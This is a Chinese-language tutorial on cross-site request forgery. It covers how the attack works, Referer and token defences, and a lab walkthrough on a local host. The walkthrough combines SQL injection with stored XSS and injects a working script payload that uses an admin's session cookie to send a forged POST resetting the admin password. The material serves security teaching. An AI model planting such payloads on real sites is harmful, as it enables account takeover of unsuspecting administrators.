CSRF--跨站请求伪造
1. 原理
1.1 为何有CSRF漏洞
服务器对浏览器的cookie验证过之后,在有效期内,浏览器不需要再次认证就可以直接访问服务器。攻击者利用此原理,借助用户的cookie,进行请求的伪造。
1.2 漏洞原理
攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过cookie,所以被访问的网站会认为是真正的用户操作而去运行。
从字面上理解CSRF(跨站请求伪造)
跨站:发生在目标网站上,借用目标网站的意思
请求:用户使用浏览器打开网页进行相关请求
伪造:攻击者伪造恶意请求,让目标浏览器代替执行
1.3 CSRF联合XSS原理
用户浏览器对服务器请求的时候,基于服务器对浏览器的信任(由于cookie没有过期),请求的时候会执行攻击者构造的恶意代码(常常利用存储型XSS上传恶意代码)
2. 防范
2.1 referer字段
HTTP头中有一个Referer字段,这个字段用以标明请求来源于哪个地址。一般情况下,Referer字段应和请求的地址位于同一域名下。如果有恶意请求攻击,referer字段中会记录恶意的网址信息。
因此检验referer字段的信息,请求目标地址是否和referer字段下的地址在同一域名。
2.2 token校验
token值通常是窗体中的一个数据项。服务器将其生成并附加在窗体中,其内容是一个伪随机数。客户端每次请求,这个值都会变化。
客户端在请求的时候,客户端携带一个随机token值,用作请求的校验,服务器验证成功,回复此请求。但是攻击者无法知道token值,因此伪造请求的时候,token值无法正常校验,服务器拒绝伪造请求。
3. XSS联合CSRF实例
3.1 绕过后台登录页面
思路:通过sql注入找到管理员密码
1. 利用sql注入,在url框找到了 newsid=?
2. 利用联合查询
3.2 在留言板上测试xss漏洞
3.3 登录后台
http://192.168.1.105/admin/admin_index.php
找到留言板管理,发现有弹窗信息4和5,因此确定”主题“和”内容“这两块有XSS漏洞
3.4 构造ajax请求
构造ajax请求,趁cookie未过期,借助服务器对浏览器的信任,构造伪造的请求
修改管理员的密码(但是在实际项目中,已经进入后台,就没必要修改管理员密码)
<script>
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST","http://192.168.1.105/admin/adminadd.php?id=11","true")
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("name=admin&passwd=123456&remark=%B3%AC%BC%B6%B9%DC%C0%ED%D4%B1&mid=1&adminsubmit=%CC%E1%BD%BB");
</script>
注意 post 是以表单传输数据的,因此要有setRequestHeader
open() 三个参数分别为 请求方式,请求url,true表示异步请求
send() 表示发送的数据内容
4. ajax代码请求
AJAX学习连接 https://www.w3school.com.cn/ajax/ajax_xmlhttprequest_send.asp
<html>
<head>
<script type="text/javascript">
function loadXMLDoc()
{
var xmlhttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","/ajax/demo_get2.asp?fname=Bill&lname=Gates",true);
xmlhttp.send();
}
</script>
</head>
<body>
<h2>AJAX</h2>
<button type="button" onclick="loadXMLDoc()">请求数据</button>
<div id="myDiv"></div>
</body>
</html>